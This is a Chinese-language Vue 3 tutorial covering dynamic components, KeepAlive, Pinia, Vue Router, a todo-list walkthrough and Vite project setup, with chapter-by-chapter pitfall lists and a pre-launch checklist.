示例 13:跨层级 provide/inject 与 useCounter / useLocalStorage 复用在新标签页打开

⚠️ 本章的坑

1. provide 的是原始值就断了响应。 provide('count', count.value) 传出去的是当时的快照,之后祖先怎么改后代都不动。provide 一个 ref(或 computed),后代读 .value。

2. 在异步回调里 inject / provide。 setTimeout(() => inject('theme')) 拿不到(脱离组件实例,Vue 会警告 inject() can only be used inside setup())。要注入就在 setup 顶层取好再用。

3. 组合式函数返回普通对象包着 .value。 return { count: count.value } 断掉响应性;返回值请给 ref 本身,解构 const { count } = useCounter() 之后必须写 count.value(模板里才自动解包)。

4. 顶层模块变量当成「每个组件一份」。 把 const state = ref(0) 写在函数外面(模块作用域),它就变成真正的全局单例——有时是故意的(全局配置),多数时候是 bug。

5. provide 的 key 拼错不会报错,只会拿到默认值。 用 Symbol() + 单独文件导出 key,或者 TypeScript 的 InjectionKey<T>,把这类错误交给编译器。

6. 后代直接改注入进来的状态会连累所有共享者。 这是设计(同一份数据),不是 bug。规范做法:provide 只读数据 + provide 一个改的动作,后代只调函数。

7. 忘记清理的组合式函数是隐形泄漏源。 useMouse() 里 addEventListener('mousemove') 必须有 onUnmounted(() => removeEventListener(...));useIntervalFn 之类要在卸载时停。

附:状态传递方式选择表

需求用什么
父 → 子一层props
子 → 父一层emit
表单值父子同步v-model / defineModel()
跨 2 层以上的环境数据(主题、语言、面板)provide / inject
全局共享、跨路由、需要 devtoolsPinia(第十五章)
复用「逻辑 + 状态」,作用域仍在单组件内组合式函数 useXxx
复用「DOM 行为」自定义指令
调用子组件方法模板 ref + defineExpose(最后手段)

十四、动态组件、KeepAlive 与异步组件

标签名不固定(tab 面板、渲染器、表单字段类型由数据决定),或者「切走再回来不想丢掉输入」,都属于这一章。

动态组件:<component :is>

<script setup>
import { shallowRef, ref } from 'vue'
import FieldText from './FieldText.vue'
import FieldSelect from './FieldSelect.vue'

// 方式一:字符串组件名(要求已注册)
const name = ref('field-text')

// 方式二:组件对象——用 shallowRef,别让 Vue 深度代理一个组件定义
const field = shallowRef(FieldText)
</script>

<template>
  <component :is="name" :model-value="text" @update:model-value="text = $event" />
  <component :is="field" />
</template>

用组件对象时 ref(FieldText) 会触发「组件被 reactive 代理」的警告并带来无谓开销,shallowRef 才是正解(示例 14 有对照)。

KeepAlive:缓存切换出去的组件

<KeepAlive include="tab-a,tab-b" :max="10">
  <component :is="current" />
</KeepAlive>

包上 KeepAlive 后,切走的组件不卸载,状态(输入框内容、滚动位置、内部数据)保留;回来的时候不重新请求。配套钩子:onActivated / onDeactivated(这才是缓存组件里该写「每次进入时刷新数据」的地方,onMounted 只会执行一次)。

props作用
include只缓存名字匹配的组件(按 name 匹配)
exclude除这些名字外都缓存
max最多缓存几个,超出按 LRU 淘汰

<script setup> 的组件名默认由文件名推断,跨目录或动态创建时不稳定——需要精确匹配就用 defineOptions({ name: 'TabA' })。

异步组件与 Suspense

const HeavyChart = defineAsyncComponent({
  loader: () => import('./HeavyChart.vue'),
  loadingComponent: LoadingBox,   // 加载期间显示
  errorComponent: ErrorBox,       // 失败时显示
  delay: 200,                     // 200ms 内完成就不闪 loading
  timeout: 10000                  // 超时走 errorComponent
})

路由级懒加载用的就是同一套机制(第十六章:component: () => import('./Page.vue'))。<Suspense>(实验性)能把「等待异步依赖」的边界统一交给模板管理,配合 async setup 使用;入门阶段先知道它存在即可。

defineExpose:<script setup> 默认是封闭的

<!-- FieldText.vue -->
<script setup>
import { ref } from 'vue'
const inner = ref('秘密')
function focus() { /* ... */ }
defineExpose({ focus })          // 只有列在这里的,父级通过 ref 才拿得到
</script>

父级 fieldRef.value.focus() 可用,fieldRef.value.inner 是 undefined。这是刻意的设计(组件内部实现属于隐私),别为了「方便」把整个实例 expose 出去——优先用 props/emit。

示例 14:动态组件、KeepAlive 缓存与异步组件加载态在新标签页打开

示例 14 的开关能直观看到:不包 KeepAlive 时切走再回来输入没了(走的是 unmount/mount),包上之后内容还在、日志打的是 deactivated/activated。

⚠️ 本章的坑

1. 组件对象被 ref() 包装。 出现 Component is being stateful... / Vue 警告组件被代理,并伴随性能损耗。组件定义请用 shallowRef 或普通常量。

2. KeepAlive 里 onMounted 不再「每次进入都跑」。 用户从 tab 切走再回来,你以为会刷新数据,其实什么都没发生。需要每次进入刷新的逻辑写在 onActivated。

3. include 匹配不到。 <script setup> 组件名靠文件名推断,动态/打包后与预期不符 → 缓存完全没生效。显式 defineOptions({ name: 'X' })。

4. 多根组件包在 KeepAlive / Transition 里直接报错。 这两者都要求默认插槽只有一个元素,且该元素是单根的。

5. 忘记 max 导致内存吃紧。 每个被缓存的 tab 都活着(包括它的数据与定时器)。列表型 tab 建议 :max="5" 或用 exclude 排除重组件。

6. 缓存组件里的全局监听不会自动解绑。 因为它压根没走卸载钩子——onDeactivated 里也要记得移除监听。

7. 异步组件默认每次重新挂载都会重新请求 chunk。 命中不了浏览器缓存时观感就是「转圈」。需要缓存实例时再套 KeepAlive。

8. :is 的值是 undefined 时什么都不渲染,且开发版只给一句弱警告。用 v-if="current" 兜一层,或给个默认组件——「页面空白但没报错」多半就是这个。

附:常用组合速查

需求组合写法
tab 面板<component :is="tabMap[key]" /> + KeepAlive include
表单字段按类型渲染shallowRef 存组件 + <component :is> + v-bind
首屏之外的重组件defineAsyncComponent(() => import(...))
需要动画的切换<Transition name="x"><component :is="v" /></Transition>(单根)
调用子组件方法子 defineExpose + 父模板 ref
缓存数量兜底<KeepAlive :max="5">

十五、Pinia:跨页面共享状态

组件树解决「谁是谁的孩子」,但实际项目里总有数据不属于任何一棵子树:登录用户、购物车、主题、全局消息提示。放在某个组件里就得层层透传,放外面又丢了响应性。状态管理库把这些数据收进一个「独立的、响应式的、任何组件都能引用」的对象。

Vue 生态现在的答案是 Pinia(Vuex 已进入维护状态,新项目别选它)。

安装与最小闭环

npm install pinia        # Vue 3 + Vite 项目
// main.js
import { createApp } from 'vue'
import { createPinia } from 'pinia'
import App from './App.vue'

createApp(App).use(createPinia()).mount('#app')
// stores/counter.js —— setup store(推荐写法:长得像组件)
import { ref, computed } from 'vue'
import { defineStore } from 'pinia'

export const useCounter = defineStore('counter', () => {
  const count = ref(0)
  const double = computed(() => count.value * 2)
  function inc(step = 1) { count.value += step }
  async function loadFromServer() { /* ... */ }
  return { count, double, inc, loadFromServer }
})
<script setup>
import { useCounter } from '@/stores/counter'
const store = useCounter()          // 组件里再调用,不要在模块顶层调
</script>

<template>
  <p>{{ store.count }} / {{ store.double }}</p>
  <button @click="store.inc()">+1</button>   <!-- 解构会丢响应性,方法倒是可以直接用 -->
</template>

选项式 store 也支持(更接近 Vuex 手感,自带 $reset):

export const useCart = defineStore('cart', {
  state: () => ({ items: [], coupon: '' }),
  getters: { total: (s) => s.items.reduce((a, x) => a + x.price * x.qty, 0) },
  actions: {
    add(item) { /* this.items.push(item) */ }
  }
})
API作用
store.count读写状态(自动 unwrap ref)
storeToRefs(store)解构时保住响应性(方法单独拿出来)
store.$patch({ items: [] })批量改(devtools 里合成一条记录)
store.$patch((s) => { … })函数式批量改
store.$reset()重置回初始 state(setup store 需自己实现)
store.$state = { … }整体替换
store.$subscribe((m, s) => …)订阅变化(做持久化的地基)
store.$onAction(({ after, onError }) => …)拦截动作(埋点、错误上报)

持久化:先把这一层想清楚

Pinia 本体不做持久化。两种路子:插件(pinia-plugin-persistedstate,配置 persist: true)或手写 watch + localStorage:

// stores/user.js 之后,在 App 里手动同步(简单可控)
watch(
  () => ({ token: userStore.token, profile: userStore.profile }),
  (v) => localStorage.setItem('user', JSON.stringify(v)),
  { deep: true }
)

三条纪律:只存该存的(token 可以,完整用户资料没必要);存之前想清楚版本(结构变了读回旧数据要能兜底);别把 store 整个 stringify(里面可能有不可序列化的东西,devtools 也会抱怨)。

示例 15:两个组件共享同一个 store 与解构失效现场在新标签页打开

示例 15 把两个「页面级组件」并排放着,它们各自 useCounter() 拿到的是同一个 store 实例;第二块演示 const { count } = store 之后界面不再更新,storeToRefs 一按就活了。

⚠️ 本章的坑

1. 直接解构 store 丢响应性。 const { count } = useCounter() 后 count 是普通数字快照(setup store 甚至更微妙)。请用 storeToRefs(store) 解构状态,动作(action)可以单独解构。

2. 在模块顶层调 useXxxStore()。 「调用 store」必须在 app.use(createPinia()) 之后、且在组件 setup 上下文里。模块顶层调用会得到 getActivePinia was called with no active Pinia 报错。写 const store = useCounter() 在 <script setup> 里才对。

3. setup store 没有 $reset()。 需要重置就自己在里面写 function $reset() { count.value = 0 }(Pinia 允许你覆盖这个保留名)。

4. 两个 store 互相引用形成循环。 A 里 useB()、B 里 useA() 会导致初始化顺序炸掉。解法:把「调用」挪进 action 内部(用到时才取),或引入第三个 store 承担协调。

5. getters 里做副作用。 和 computed 同一纪律(第五章)——它只负责算值。发请求、埋点放 action。

6. action 里用箭头函数导致 this 丢失。 选项式 store 的 actions: { add: () => { this.items.push() } } 直接坏掉。用普通函数 add() {}。

7. 持久化把敏感信息写进 localStorage。 刷新令牌、完整用户对象留在浏览器里,XSS 一次就全丢。token 该放 httpOnly Cookie 就别放 localStorage。

8. 把 store 当成「全局变量垃圾桶」。 组件级状态(弹窗开合、当前表单草稿)放 store,会让复用和测试都变难。判断标准:需要跨路由/跨不相关组件共享,才进 store。

9. SSR/服务端渲染下的状态串号。 全局单例 store 在多请求间会串数据。做 SSR(Nuxt)时每个请求要独立实例——这正是 Nuxt 教程里 defineStore + 服务端注意事项那章要解决的问题。

附:状态方案的选择

状态范围方案
单个组件内部ref / reactive
父 ↔ 子props / emit / v-model
同一子树共享(主题、表单上下文)provide / inject
跨页面、全局共享(用户、购物车)Pinia
服务端数据(列表、详情,需缓存与重新获取)useFetch(Nuxt)/ TanStack Query 一类
纯 URL 可表达的状态(筛选、分页、tab)路由 query(第十六章)

十六、Vue Router:单页应用的路由

路由 = 「URL ↔ 界面」的映射表。它让单页应用有可分享的地址、可前进后退的历史、可刷新的子页面。本教程基于 Vue Router 5(Nuxt 4 里用的就是它),语法与 v4 基本一致。

三步建起来

npm install vue-router
// router/index.js
import { createRouter, createWebHistory } from 'vue-router'
import Home from '@/views/Home.vue'

const routes = [
  { path: '/', name: 'home', component: Home },
  { path: '/about', name: 'about', component: () => import('@/views/About.vue') },   // 懒加载
  { path: '/users/:id', name: 'user', component: () => import('@/views/User.vue'), props: true },
  { path: '/posts/:page?', component: () => import('@/views/Posts.vue') },          // 可选参数(省略时 undefined)
  {
    path: '/dashboard',
    component: () => import('@/views/Dashboard.vue'),
    children: [                                  // 嵌套:父组件里要放 <RouterView />
      { path: '', component: DashboardHome },    // /dashboard
      { path: 'analytics', component: Analytics } // /dashboard/analytics
    ]
  },
  { path: '/:pathMatch(.*)*', name: 'not-found', component: NotFound }   // 兜底 404
]

export const router = createRouter({
  history: createWebHistory(),        // 干净 URL,需要服务端 fallback
  routes,
  scrollBehavior: (to, from, saved) => saved || { left: 0, top: 0 }
})
// main.js
import { createApp } from 'vue'
import router from './router'
createApp(App).use(router).mount('#app')
<!-- App.vue -->
<template>
  <nav>
    <RouterLink to="/">首页</RouterLink>
    <RouterLink :to="{ name: 'user', params: { id: 42 } }">用户 42</RouterLink>
  </nav>
  <RouterView />          <!-- 当前路由的组件渲染在这里 -->
</template>

三种 history,决定部署方式

创建方式URL 形态服务端要不要配 fallback适合
createWebHistory()/users/42要(刷新时所有路径都要回落到 index.html)正式站点,SEO 友好
createWebHashHistory()/#/users/42不要静态托管、iframe 内、子目录里懒得配 nginx
createMemoryHistory()不写地址栏—测试、示例(本教程的示例 16 用的就是它)

history 模式下 nginx 的一行配置:try_files $uri $uri/ /index.html;。漏了它的症状是「首页能进,刷新子页面 404」。

读参数与跳转

<script setup>
import { useRoute, useRouter } from 'vue-router'
const route = useRoute()     // 响应式的当前路由:params / query / hash / path / matched / meta
const router = useRouter()   // 命令式跳转

function go() {
  router.push({ name: 'user', params: { id: 7 } })
  router.replace({ path: '/login', query: { redirect: route.fullPath } })  // 不留历史
  router.back()
}
</script>

<template>
  <p>id = {{ route.params.id }},页码 = {{ route.query.page }}</p>
</template>

props: true(或 props: (route) => ({ id: Number(route.params.id) }))能把参数直接注入成组件 props,组件里就可以不依赖 useRoute——复用性和可测性都更好。

同一路由只换参数时组件会被复用(/users/1 → /users/2),mounted 不再执行。三种应对::key="route.fullPath" 强制重建、watch(() => route.params.id, load)、或 onBeforeRouteUpdate。

导航守卫:三句话讲清

// 全局
router.beforeEach((to) => {
  if (to.meta.requiresAuth && !isLoggedIn()) {
    return { name: 'login', query: { redirect: to.fullPath } }   // 返回地址 = 重定向
  }
  // 返回 undefined / true = 放行;返回 false = 取消导航
})

// 路由独享
{ path: '/admin', component: Admin, meta: { requiresAuth: true },
  beforeEnter: (to) => isAdmin() || '/403' }

// 组件内(<script setup> 用这两个函数)
import { onBeforeRouteLeave, onBeforeRouteUpdate } from 'vue-router'
onBeforeRouteLeave(() => edited.value ? confirm('有未保存内容,确定离开?') : true)

meta 是自由字段(配合 TS 声明增强提示),常用来放 requiresAuth、title、layout。异步守卫可以直接 await(旧代码里的 next() 调用方式仍可用,新代码用返回值更清晰)。

示例 16:路由表匹配、参数解析与守卫拦截在新标签页打开

示例 16 里点链接能看到「命中了哪条路由记录、params/query 是什么、守卫放不放行」,右侧同步显示当前 route 对象的结构。

⚠️ 本章的坑

1. history 模式部署后刷新 404。 静态服务器只会为真实文件返回 200,/users/42 不是文件。必须配 fallback(try_files … /index.html)或改 hash 模式。子路径部署时还要给 createWebHistory('/nuxt/') 传 base——这个 base 要和构建的 base 配置一致,否则资源路径和路由路径各说各话。

2. params 在 path 写法里会被静默丢弃。 router.push('/users/' + id) 之后 route.params 是空的;要用 push({ name, params }) 或把值拼进 path 再从 route.path 解析。

3. 用 v-if 或 <a href> 替代 <RouterLink>。 原生 <a> 会触发整页刷新(单页应用的意义就没了)。需要「看起来像链接」时用 <RouterLink custom v-slot="{ navigate }"> 自定义渲染。

4. 守卫里返回 true/false 与 next() 混用。 同一个守卫里既 next() 又 return 会行为怪异。选一种风格,新项目建议返回值。

5. 守卫里做异步请求没加超时/取消。 用户点得快,导航会卡在「等待鉴权」;请求失败时如果既不 return false 也不重定向,界面就停在原地,看起来像「链接点不动」。

6. 只换参数的页面不重新请求数据。 上面「同一路由复用组件」那条,是最常见的「切了个分类,列表还是老数据」。

7. 404 兜底路由必须放最后。 /:pathMatch(.*)* 写在前面会把所有路径吃掉。它的路径语法(v4/v5 都支持这一种)值得抄下来,别靠记忆改写成 (.*?)。

8. scrollBehavior 返回 savedPosition 时要判空。 直接 return saved 在没保存位置时返回 undefined,Vue Router 会退化成「滚到顶部」,可能不是你想要的。

9. 路由懒加载的组件路径写错不会立刻报错。 () => import('./VIEWS/About.vue') 只在真正进入那条路由时才失败(表现为「点了没反应/白屏」)。构建期用 vite 的 build.rollupOptions 报错或跑一遍全路由点击来兜住。

附:路由速查

需求写法
声明{ path: '/u/:id', component: User, name: 'user', props: true, meta: { title: '用户' } }
可选参数/posts/:page?(省略时 params.page 为 undefined)
参数格式校验别依赖路径里的正则(不同小版本语法有出入,实测为准);用 beforeEnter 守卫或 props: (route) => ({ page: Number(route.params.page) || 1 }) 更稳
嵌套子路由父记录 children: [...],父组件里再放 <RouterView />
兜底 404{ path: '/:pathMatch(.*)*', component: NotFound }(放最后)
链接<RouterLink :to="{ name: 'user', params: { id } }">
激活样式类active-class / exact-active-class(默认 router-link-active / -exact-active)
命令式跳转router.push() / replace() / back() / forward()
读当前路由useRoute()(响应式,别解构整个对象)
守卫全局 beforeEach / afterEach,记录 beforeEnter,组件内 onBeforeRouteLeave/Update
滚动scrollBehavior: (to, from, saved) => saved ?? { left: 0, top: 0 }
懒加载component: () => import('./Views/X.vue')
路由中间件式复用把校验逻辑抽进 meta + 一个全局守卫(Nuxt 里有专门的 definePageMeta + middleware)

十七、综合实战:一个待办清单,把前面十六章串起来

待办清单是「最小的完整应用」:有输入、有列表、有筛选、有持久化、有组件拆分。下面按「先能跑,再拆好」的顺序走一遍,每一步都只用到前面章节出现过的语法。示例 17 是最终成品,可以直接玩。

第一步:数据形状先定下来

// 一条待办就是一个普通对象,id 稳定唯一(第十一章的 key 就靠它)
{ id: 1731289000, text: '写教程', done: false, createdAt: 1731289000 }

先定数据,再写模板。 界面所有状态都能从这份数据算出来,就没有第二份需要同步的「影子状态」(这是 UI bug 的主要来源)。

第二步:最小可用版(一个文件)

<script setup>
import { ref, computed, watch } from 'vue'

const KEY = 'vue3-todo'
const storage = ref([])

const draft = ref('')
const filter = ref('all')          // all | active | done

const add = () => {
  const text = draft.value.trim()
  if (!text) return
  storage.value.push({ id: Date.now(), text, done: false })
  draft.value = ''
}

const visible = computed(() =>
  storage.value.filter(t => filter.value === 'all' ? true : t.done === (filter.value === 'done'))
)
const left = computed(() => storage.value.filter(t => !t.done).length)

watch(storage, (v) => localStorage.setItem(KEY, JSON.stringify(v)), { deep: true })
</script>

<template>
  <section class="todo">
    <form @submit.prevent="add">
      <input v-model="draft" placeholder="要做什么?" aria-label="新待办">
      <button type="submit" :disabled="!draft.trim()">添加</button>
    </form>

    <ul>
      <li v-for="t in visible" :key="t.id">
        <label>
          <input type="checkbox" v-model="t.done">
          <span :class="{ done: t.done }">{{ t.text }}</span>
        </label>
        <button type="button" @click="storage = storage.filter(x => x.id !== t.id)">删除</button>
      </li>
    </ul>

    <footer>
      剩 {{ left }} 项
      <select v-model="filter">
        <option value="all">全部</option>
        <option value="active">未完成</option>
        <option value="done">已完成</option>
      </select>
    </footer>
  </section>
</template>

这一段里已经出现了:ref + 数组、v-model 在 checkbox 上直接改行内字段、computed 做筛选与统计、@submit.prevent、:disabled、:key、watch 做持久化。入门阶段能写出这个版本,就说明语法都打通了。

第三步:拆组件(该拆的地方只有一处)

判断标准:某块有自己的状态或行为、且被用了两次以上,就值得独立成组件。这里 TodoItem 有「编辑态」这个本地状态,最合适被拆出去。

<!-- components/TodoItem.vue -->
<script setup>
import { ref } from 'vue'
const props = defineProps({ todo: { type: Object, required: true } })
const emit = defineEmits(['toggle', 'remove', 'rename'])

const editing = ref(false)
const text = ref(props.todo.text)

function save() {
  const t = text.value.trim()
  if (t && t !== props.todo.text) emit('rename', t)
  editing.value = false
}
</script>

<template>
  <li>
    <template v-if="!editing">
      <label><input type="checkbox" :checked="props.todo.done" @change="emit('toggle')"><span>{{ props.todo.text }}</span></label>
      <button type="button" @click="editing = true">编辑</button>
      <button type="button" @click="emit('remove')">删除</button>
    </template>
    <template v-else>
      <input v-model="text" @keyup.enter="save" @keyup.esc="editing = false" autofocus>
      <button type="button" @click="save">保存</button>
    </template>
  </li>
</template>

父组件把「怎么改数据」收口成三个动作:

<script setup>
import TodoItem from './components/TodoItem.vue'
function toggle(id) { const t = storage.value.find(x => x.id === id); t.done = !t.done }
function remove(id) { storage.value = storage.value.filter(x => x.id !== id) }
function rename(id, text) { const t = storage.value.find(x => x.id === id); t.text = text }
</script>

<template>
  <ul>
    <TodoItem
      v-for="t in visible" :key="t.id" :todo="t"
      @toggle="toggle(t.id)" @remove="remove(t.id)" @rename="(text) => rename(t.id, text)"
    />
  </ul>
</template>

注意 :key="t.id" 让「编辑中的那一行」在筛选切换时不会被别的行复用(第十一章)。

第四步:把可复用逻辑抽成组合式函数

持久化 + 初始化那三行,下一个项目还要再写一遍 → 抽走(第十三章的形状):

// composables/usePersistentList.js
import { ref, watch } from 'vue'

/**
 * 一个自动落盘 localStorage 的列表。
 * @param {string} key 存储键名
 * @param {Array} [initial=[]] 读不到数据时的初始值
 * @returns {import('vue').Ref<Array>} 响应式数组
 */
export function usePersistentList(key, initial = []) {
  let start = initial
  try {
    const raw = JSON.parse(localStorage.getItem(key))
    if (Array.isArray(raw)) start = raw
  } catch { /* 脏数据:安静回落到初始值 */ }
  const list = ref(start)
  watch(list, (v) => {
    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('写入失败', e) }
  }, { deep: true })
  return list
}

组件里就剩一行:const storage = usePersistentList('vue3-todo')。

这一路做出来的检查点

检查项对应章节
列表有稳定 :key,切换筛选不串行第十一章
数据源只有一份,统计/筛选是 computed第五章
子组件不改 props,改动通过 emit 交回父级第九章
表单用 @submit.prevent,辅助按钮写 type="button"第六章
空输入、空白字符、重复项在服务端和客户端都挡第二章、第六章
卸载时清理定时器/监听第十二章
localStorage 读写包 try/catch(隐私模式会抛异常)第十三章
每个输入框有 label 或 aria-label,按钮有可见焦点第七章
示例 17:待办清单完整实现(增删改查 + 筛选 + 本地持久化)在新标签页打开

示例 17 的数据落在 localStorage 的 vue3-todo 键上。注意:站点里的预览是沙箱 iframe(不给 allow-same-origin),存储被浏览器隔离,所以要看「刷新还在」的效果请点示例右上角的「在新标签页打开」;在沙箱里它会自动降级成内存存储并在迷你控制台说明一句——这本身也是一条真实世界的经验:永远不要假设 localStorage 可用(无痕模式、iframe、隐私扩展都会禁用它)。

十八、工程化:把这些语法装进一个可维护的项目

前面各章的示例都是「一个 <script> 标签」跑起来的。真实项目要的是:能拆文件、能装依赖、能构建、能部署。这一章把 Vite + 单文件组件这一层补齐,也是从「会写 Vue」跨到「能用 Vue 做项目」的那一步。

建项目:两条路

# ① 官方脚手架(交互式,能选 Router / Pinia / TS / ESLint / Vitest)
npm create vue@latest my-app
cd my-app && npm install && npm run dev

# ② 裸 Vite + Vue 插件(想要极简时)
npm create vite@latest my-app -- --template vue

npm create vue@latest 生成的骨架里,src/main.js 负责 createApp(App).use(router).use(createPinia()).mount('#app'),src/App.vue 是根组件——这就是你在示例里写的 createApp(...).mount('#app'),只是被搬进了文件。

目录约定(Vite + Vue 社区常见形状):

my-app/
├── index.html            Vite 的入口 HTML(里面有 <div id="app">)
├── vite.config.js        构建配置(插件、别名、base、代理)
├── public/               原样拷贝进产物,不参与打包
└── src/
    ├── main.js           应用入口
    ├── App.vue           根组件
    ├── assets/           需要被打包的资源(图片、字体、CSS)
    ├── components/       可复用组件
    ├── views/            路由页面级组件
    ├── composables/      useXxx 组合式函数(第十三章)
    ├── stores/           Pinia(第十五章)
    ├── router/           Vue Router(第十六章)
    └── utils/            纯函数工具

Nuxt 项目结构不一样(app/pages、server/api、自动导入),那是姊妹篇《Nuxt 教程》的内容——语法同源,工程外壳不同。

单文件组件的三块

<script setup>
/* 逻辑:组合式 API 写在这里,顶层声明的东西模板直接可用 */
</script>

<template>
  <!-- 结构:只允许一个根节点吗?不必,Vue 3 支持多根(fragment),但要注意 attrs 继承(第七章) -->
</template>

<style scoped>
/* 样式:scoped 给这个组件的类名加哈希,不会污染全局 */
.box { border: 1px solid #ddd; }
:deep(.el-input__inner) { background: transparent; }   /* 穿透到子组件/第三方组件内部 */
</style>

scoped 不是 CSS Modules,它只是加了属性选择器;第三方组件内部的样式还得靠 :deep()(这是「我的样式怎么不生效」的高频答案)。

别名、代理与构建配置

// vite.config.js
import { fileURLToPath, URL } from 'node:url'
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'

export default defineConfig({
  plugins: [vue()],
  resolve: {
    alias: { '@': fileURLToPath(new URL('./src', import.meta.url)) }   // import '@/stores/user'
  },
  server: {
    proxy: { '/api': { target: 'http://localhost:8080', changeOrigin: true } }  // 开发期跨域
  },
  base: '/shop/'    // 部署在子路径时必须设置,否则资源 404
})

base 这一行是「本地正常、上线白屏」的第一嫌疑人。站点挂在 https://site.com/shop/ 下却没配 base: '/shop/',产物里的 <script src="/assets/index-xxx.js"> 就会指到根路径去要文件(示例 08 的部署检查器就是为这个坑做的)。同时用 history 路由的话,createWebHistory('/shop/') 的 base 要和它保持一致。

环境变量:只有 VITE_ 开头的才会进前端

# .env.development
VITE_API_BASE=http://localhost:8080/api
VITE_APP_TITLE=本地调试
const base = import.meta.env.VITE_API_BASE
console.log(import.meta.env.MODE, import.meta.env.DEV, import.meta.env.PROD)

.env 里的值会被编译进产物——任何人 Ctrl+U 查看源码就能拿到。后端密钥、数据库连接串绝对不能放这里;要放就放到服务端(Nuxt 的 server/api + runtimeConfig 是标准做法)。

TypeScript:值不值

值,但建议第二步再上。Vue 3 对 TS 的支持很好(defineProps<{}>() 泛型写法、模板类型检查),代价是学习曲线叠加。折中路线:先写 JS + JSDoc 注释(本项目的 composable 就是这么写的),需要时再把关键模块换成 .ts。

npm i -D typescript vue-tsc
npx vue-tsc --noEmit      # 类型检查(vue-tsc 才认得 .vue 文件)

部署与调试

npm run build       # 产物在 dist/
npm run preview     # 本地按生产方式跑一遍,上线前必做
  • npm run dev 正常但 build 后白屏:99% 是 base 或 history fallback 的问题(上一节)。
  • 上线后没有警告:生产构建剥掉了 props 校验、路由警告。上线前一定 npm run build && npm run preview 走一遍。
  • Vue Devtools:浏览器扩展,能看到组件树、响应式数据、Pinia、路由器。装好后组件里会多一个「检查」按钮。
  • 打包体积:rollup-plugin-visualizer 看谁占大头;路由级懒加载(第十六章)通常是最有效的一刀。

Vue 2 → Vue 3 迁移对照(读老代码用)

主题Vue 2Vue 3
创建实例new Vue({ render })createApp(App).mount('#el')
全局注册Vue.componentapp.component(作用域只在某个 app)
组件根节点必须单根允许多根(fragment)
v-model 自定义model: { prop, event }modelValue + update:modelValue,或 v-model:xxx
事件总线$on/$off/$once已移除,用 mitt 或 store
过滤器{{ x | f }}已移除,用 computed/方法
生命周期beforeDestroy / destroyedbeforeUnmount / unmounted
逻辑复用mixins组合式函数 useXxx
响应式限制新增属性要 Vue.setProxy,直接赋值即可
指令钩子名bind / inserted / componentUpdatedcreated / mounted / updated / beforeUnmount / unmounted
插槽slot="x" / slot-scope<template #x="{ data }">
事件修饰符.native、.sync都已移除(.sync → v-model:xxx)
key 位置<template v-for> 不支持 key<template v-for :key> 合法
CSS 作用域/deep/、>>>:deep()
跨课示例(Nuxt 教程 示例 08):base 与部署子路径的资源路径检查器在新标签页打开

⚠️ 本章的坑

1. 大小写敏感只在 Linux 上出现。 import TodoItem from './components/todointerface.vue' 在 Windows/macOS 能跑,CI(Linux)直接构建失败。文件路径一律与真实文件名逐字符一致。

2. 忘了装 @vitejs/plugin-vue。 .vue 文件被当普通文本,报错内容通常是 Unexpected token '<'。模板里选了 vue 却没装插件(或自己接 Vite 时漏配)都会这样。

3. base 与路由 history base 不一致。 一个 /shop/、一个 /,表现是「资源能加载但路由一跳就跑出子目录」,或者反过来。两处一起改。

4. 环境变量没加 VITE_ 前缀。 API_BASE=xxx 在前端读出来是 undefined(Vite 有意不暴露),别怀疑是 Vue 的锅。

5. 把 .env 提交进仓库。 里面有生产接口地址、埋点 key 都会被打包出去。.env 进 .gitignore,.env.example 出模板。

6. scoped 里改第三方组件样式没生效。 用 :deep(.xxx),或者干脆给组件传 class 让库自己处理。

7. dev 环境跨域正常,生产 404。 开发期靠 server.proxy 骗过了同源限制,线上必须由 nginx/网关反代同一 /api 前缀。上线前用 npm run preview + 真实反代验证。

8. 一次改完就 git commit 没跑 build。 类型错误、模板语法错误只在构建期暴露,别把「dev 能跑」当成「能上线」。

附:新项目起手清单

项目建议
创建npm create vue@latest,Router / Pinia 按需勾选
目录views/ 页面、components/ 复用件、composables/ 逻辑、stores/ 全局状态
别名@ → src(脚手架已配)
请求axios/fetch 封装一层,baseURL 从 import.meta.env 读
校验ESLint + Prettier(脚手架选上),提交前 --fix
类型先 js + JSDoc,重要模块逐步换 ts
部署子路径记得 base;history 路由记得 try_files
上线前npm run build && npm run preview 全点一遍 + Devtools 看警告

十九、收尾:Vue 3 的坑汇总与下一步

各章的「⚠️ 本章的坑」收进一张表,按「症状」来查最省事——因为你多半是在页面上看到一个怪现象才想起翻教程的。

按症状找原因

症状最可能的原因详见
页面空白、控制台报 Failed to mount app挂载目标不存在 / 脚本比容器先执行一
组件明明 import 了却 Unknown custom element路径大小写不对、忘 .vue 后缀、in-DOM 标签名大小写二、八、十八
{{ count }} 显示成字面量没挂载 / 挂错元素 / in-DOM 模板被 v-pre 跳过一、二
数据变了界面不动解构了 reactive/store、忘了 .value、provide 传了原始值、index 当 key 后组件被复用四、十一、十三、十五
改 props 出现红色警告违反单向数据流:改成 emit 或本地副本九
checkbox / 输入框状态串行:key 用了 index 或缺失十一
点一次触发两次组件未声明 emits,事件透传到根 DOM九
表单一点就整页刷新辅助按钮没写 type="button" 或 submit 没 .prevent六
动画没效果Transition 类名缺 -enter-from / -leave-to,或多根组件七、十四
tab 切回来数据不刷新KeepAlive 下 onMounted 只跑一次,逻辑要放 onActivated十四
切换路由后还在轮询忘记 onUnmounted 清理定时器/监听十二
刷新子页面 404history 模式缺 try_files fallback,或 base 不一致十六、十八
上线后没警告、线下才发现错生产构建剥掉校验;用开发版 + preview 走一遍十八
dev 好好的,build 后资源 404子路径部署忘配 base(与 Nuxt 的 app.baseURL 同一类坑)十八
环境变量读到 undefined缺 VITE_ 前缀十八

上线前核对清单

类别检查项
模板所有 v-for 有稳定 :key;v-html 只用于可信内容;模板表达式都是「表达式」
响应式没有 reactive/props/store 的直接解构;ref 读写都带 .value;大列表用 shallowRef
组件props/emits 有类型声明;不直接改 props;多根组件处理了 attrs;暴露面用 defineExpose 收窄
生命周期每个 addEventListener / setInterval / watch(手动创建)都能在卸载钩子里找到对应清理
状态进入 Pinia 的只有跨页面数据;持久化字段最小且带兜底;无循环引用
路由meta 权限字段与守卫配套;异步守卫有失败分支;404 兜底在最后;base 与构建 base 一致
构建部署npm run build && npm run preview 全部路由点过;base、try_files、CDN 路径核对;.env 未入库且无密钥
可访问性表单有 label;纯图标按钮有 aria-label;焦点可见;role 用词准确

下一步往哪走

按性价比排序:

